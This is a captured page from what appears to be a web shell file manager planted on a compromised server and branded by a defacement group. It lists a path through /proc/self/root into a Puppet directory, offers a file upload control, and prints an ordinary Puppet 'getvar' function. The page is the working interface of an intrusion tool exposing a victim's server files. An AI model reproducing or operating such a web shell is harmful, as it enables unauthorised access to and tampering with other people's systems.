whoami7 - Manager
:
/
proc
/
self
/
root
/
var
/
lib
/
puppet
/
lib
/
puppet
/
parser
/
functions
/
Upload File:
files >> //proc/self/root/var/lib/puppet/lib/puppet/parser/functions/getvar.rb
module Puppet::Parser::Functions newfunction(:getvar, :type => :rvalue, :doc => <<-'ENDHEREDOC') do |args| Lookup a variable in a remote namespace. For example: $foo = getvar('site::data::foo') # Equivalent to $foo = $site::data::foo This is useful if the namespace itself is stored in a string: $datalocation = 'site::data' $bar = getvar("${datalocation}::bar") # Equivalent to $bar = $site::data::bar ENDHEREDOC unless args.length == 1 raise Puppet::ParseError, ("getvar(): wrong number of arguments (#{args.length}; must be 1)") end self.lookupvar("#{args[0]}") end end
Copyright ©2021 || Defacer Indonesia